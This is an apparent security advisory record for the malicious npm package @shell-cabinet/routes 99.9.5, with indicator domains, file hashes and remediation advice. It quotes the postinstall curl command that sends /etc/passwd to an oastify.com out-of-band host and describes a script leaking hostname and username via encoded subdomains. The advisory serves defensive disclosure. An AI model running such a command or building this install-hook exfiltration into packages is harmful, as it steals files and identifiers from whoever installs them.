Malicious code in @shell-cabinet/routes (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b385f020626d8bad774fe5ebd776683b547bea4edef85944af658fd0155924ad) On `npm install`, the package's postinstall hook runs `curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, posting the installer's /etc/passwd to a hostname-prefixed subdomain of oastify.com (a Burp Collaborator out-of-band channel). The same postinstall first executes `scripts/scream3gg.js`, which hex-encodes `os.hostname()`, `os.homedir()`, and `os.userInfo().username` and issues plain-HTTP fetch() requests with the hex chunked into subdomains of `nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`, leaking host identifiers over DNS-encoded HTTP. Both behaviors fire unconditionally at install time and have no relationship to any documented package functionality. ## Source: ghsa-malware (475b0a1656c1a48a7a8f05f77096d4b5737510e410970d7a48221bafe298a69a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
MAL-2026-5428
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-5428
@shell-cabinet/routes
Source reference: /affected/0/package/name
- Affected versions
- 99.9.5
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
}
]
}
],
"package": {
"name": "@shell-cabinet/routes",
"purl": "pkg:npm/%40shell-cabinet/routes",
"ecosystem": "npm"
},
"versions": [
"99.9.5"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@shell-cabinet/routes/MAL-2026-5428.json",
"indicators": {
"domains": [
"7363616e2d636130376335616366366233.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com",
"2f686f6d652f7363616e.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com",
"7363616e.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com"
],
"evidence_files": [
{
"path": "package.json",
"tlsh": "86d0a7b07800c673bedd06a34128a1817955c85f2214b96256df86e4a114761a4e6516",
"sha256": "eda57c69d61e98fd57162568b1c0fc5efab6667660c7bfdc911dc86ee46320f6"
},
{
"path": "scripts/scream3gg.js",
"tlsh": "74f08ba955b11938382b50819dafd40db1e7fa0630a6e4f2fedd86810f44865bd22dde",
"sha256": "9b962b07165e35cb12a1424434b1d1be779ead9b43df94af8baf0e5a1b66a6c9"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "6bfb1133e5f75d2e5507150c837267fd322a4a26",
"sha512_sri": "sha512-qdRAUXJb4ZV0GlLaKvsCgB55xamZ5c+i4+RFoJ9OyR72irI38mXq1ICIk3ZL64FQyu75UUINdY6t2x6InaA1mg=="
},
"filename": "routes-99.9.5.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #10873 · Revision 1
- Added to Heist Feed
- Publisher date